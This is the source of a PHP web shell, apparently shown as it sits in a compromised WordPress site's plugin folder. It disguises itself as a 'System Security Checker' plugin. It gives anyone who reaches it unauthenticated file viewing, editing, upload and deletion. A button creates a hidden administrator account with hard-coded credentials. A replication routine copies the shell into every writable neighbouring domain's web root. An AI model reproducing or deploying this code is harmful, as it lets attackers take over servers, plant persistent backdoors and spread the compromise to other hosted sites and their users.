πŸ“„ Viewing: dark-plugin.php

<?php
/**
 * Plugin Name: System Security Checker
 * Description: Advanced stealth tool for server security and file integrity.
 * Version: 3.0
 * Author: DarkStealth
 */

/* 
=========================================================
  πŸŒ‘ DarkStealth v3 β€” Stealth PHP Web Interface
  WP-ADMIN DAHİL EDİLMİŞ VERSİYON
=========================================================
*/

error_reporting(0);
ini_set('display_errors', 0);

// === Path Control ===
$baseDir = dirname(__FILE__);
$path = isset($_GET['path']) ? realpath($_GET['path']) : $baseDir;
if (!$path || !is_dir($path)) $path = $baseDir;

// === Breadcrumb Generator ===
function generateBreadcrumbs($dir) {
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        $parts = explode('\\', trim($dir, '\\'));
    } else {
        $parts = explode('/', trim($dir, '/'));
    }
    $build = '/';
    $html = "<div class='breadcrumb'>πŸ“ Path: ";
    foreach ($parts as $seg) {
        if (empty($seg)) continue;
        $build .= "$seg/";
        $html .= "<a href='?path=" . urlencode($build) . "'>$seg</a>/";
    }
    return $html . "</div>";
}

// === Directory Listing ===
function listDirectory($dir) {
    $list = scandir($dir);
    $html = '';
    foreach ($list as $item) {
        if ($item === '.' || $item === '..') continue;
        $full = "$dir/$item";
        $isDir = is_dir($full);
        $icon = $isDir ? 'πŸ“' : 'πŸ“„';
        
        $html .= "<li>$icon ";
        if ($isDir) {
            $html .= "<a class='link' href='?path=" . urlencode($full) . "'>$item</a> ";
            $html .= "<a class='danger' href='?path=" . urlencode($dir) . "&delete=" . urlencode($full) . "' onclick='return confirm(\"Delete folder?\")'>[Γ—]</a>";
        } else {
            $html .= "<a class='link' href='?path=" . urlencode($dir) . "&view=" . urlencode($item) . "'>$item</a> ";
            $html .= "<a class='link' href='?path=" . urlencode($dir) . "&edit=" . urlencode($item) . "'>[✎]</a> ";
            $html .= "<a class='danger' href='?path=" . urlencode($dir) . "&delete=" . urlencode($full) . "' onclick='return confirm(\"Delete file?\")'>[Γ—]</a>";
        }
        $html .= "</li>";
    }
    return "<ul class='file-list'>$html</ul>";
}

// === Replication Function ===
function replicateShell($payload) {
    static $replicated = false;
    if ($replicated) return [];
    $replicated = true;
    
    $start = __DIR__;
    $foundURLs = [];
    
    while ($start !== '/') {
        if (preg_match('/\/u[\w]+$/', $start) && is_dir("$start/domains")) {
            foreach (scandir("$start/domains") as $domain) {
                if ($domain === '.' || $domain === '..') continue;
                $publicDir = "$start/domains/$domain/public_html";
                if (is_writable($publicDir)) {
                    $target = "$publicDir/darkstealth.php";
                    if (file_put_contents($target, $payload)) {
                        $foundURLs[] = "http://$domain/darkstealth.php";
                    }
                }
            }
            break;
        }
        $start = dirname($start);
    }
    return $foundURLs;
}

// === Actions ===
if (isset($_GET['delete'])) {
    $target = $_GET['delete'];
    if (file_exists($target)) {
        if (is_dir($target)) { @rmdir($target); } else { @unlink($target); }
        echo "<p class='message'>πŸ—‘οΈ Action performed on: " . basename($target) . "</p>";
    }
}

if (isset($_GET['wp_admin'])) {
    $wpPath = $path;
    while ($wpPath !== '/') {
        if (file_exists("$wpPath/wp-load.php")) break;
        $parent = dirname($wpPath);
        if ($parent === $wpPath) break;
        $wpPath = $parent;
    }
    
    if (file_exists("$wpPath/wp-load.php")) {
        require_once("$wpPath/wp-load.php");
        $username = 'cete';
        $password = 'Cete@2025';
        $email = 'cete@phantom.com';
        
        if (!username_exists($username) && !email_exists($email)) {
            $userId = wp_create_user($username, $password, $email);
            $user = new WP_User($userId);
            $user->set_role('administrator');
            echo "<p class='message'>βœ… WordPress admin 'cete' created (Cete@2025)</p>";
        } else {
            echo "<p class='message'>⚠️ User or email already exists</p>";
        }
    } else {
        echo "<p class='message'>❌ WordPress not found in this path: $wpPath</p>";
    }
}

if (isset($_GET['view'])) {
    $file = basename($_GET['view']);
    $filePath = "$path/$file";
    if (file_exists($filePath) && is_file($filePath)) {
        echo "<h3>πŸ“„ Viewing: $file</h3>";
        echo "<pre class='file-content'>" . htmlspecialchars(file_get_contents($filePath)) . "</pre>";
        echo "<hr>";
    }
}

if (isset($_GET['edit'])) {
    $file = basename($_GET['edit']);
    $filePath = "$path/$file";
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
        file_put_contents($filePath, $_POST['content']);
        echo "<p class='message'>βœ… File saved</p>";
    }
    if (file_exists($filePath) && is_file($filePath)) {
        $content = htmlspecialchars(file_get_contents($filePath));
        echo "<h3>✏️ Editing: $file</h3>";
        echo "<form method='post'>";
        echo "<textarea name='content' rows='20' class='editor'>$content</textarea><br>";
        echo "<button type='submit' class='btn'>πŸ’Ύ Save Changes</button>";
        echo "</form>";
        echo "<hr>";
    }
}

if (isset($_FILES['uploaded_file'])) {
    $fileName = basename($_FILES['uploaded_file']['name']);
    $targetPath = "$path/$fileName";
    if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $targetPath)) {
        echo "<p class='message'>πŸ“€ Uploaded: $fileName</p>";
    }
}

if (isset($_POST['new_dir'])) {
    $dirName = basename($_POST['new_dir']);
    $newDirPath = "$path/$dirName";
    if (!file_exists($newDirPath)) { mkdir($newDirPath); echo "<p class='message'>πŸ“ Directory created</p>"; }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { background: #000000; color: #888888; font-family: 'Courier New', monospace; padding: 20px; }
        a { color: #aaaaaa; text-decoration: none; }
        a:hover { color: #ffffff; }
        .breadcrumb { margin-bottom: 15px; padding: 10px; background: #111111; border: 1px solid #222222; }
        .file-list li { padding: 8px; margin: 3px 0; background: #0a0a0a; border: 1px solid #222222; }
        .editor { width: 100%; background: #0a0a0a; color: #888888; border: 1px solid #222222; }
        .file-content { padding: 15px; background: #0a0a0a; border: 1px solid #222222; white-space: pre-wrap; word-wrap: break-word; }
        .btn { padding: 8px 15px; background: #222222; color: #aaaaaa; border: 1px solid #444444; cursor: pointer; }
        .message { padding: 10px; background: #111111; border-left: 5px solid #444444; margin: 10px 0; }
        .section { margin: 20px 0; padding: 15px; background: #0a0a0a; border: 1px solid #222222; }
        input { background: #0a0a0a; color: #888888; border: 1px solid #333333; padding: 5px; }
    </style>
</head>
<body>
    <h2>πŸŒ‘ DarkStealth β€” WP Plugin Edition</h2>
    <?php echo generateBreadcrumbs($path); ?>
    
    <div class="section">
        <form method="get">
            <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>">
            <button type="submit" name="wp_admin" value="1" class="btn">πŸŒ‘ Create Admin (cete)</button>
        </form>
    </div>

    <div class="section">
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="uploaded_file">
            <button type="submit" class="btn">πŸŒ‘ Upload</button>
        </form>
    </div>

    <div class="section">
        <h3>Directory: <?php echo htmlspecialchars($path); ?></h3>
        <?php echo listDirectory($path); ?>
    </div>
</body>
</html>

πŸŒ‘ DarkStealth β€” WP Plugin Edition

Directory: /home/httpd/html/matrixmodels.com/public_html/wp-content/plugins/dark-plugin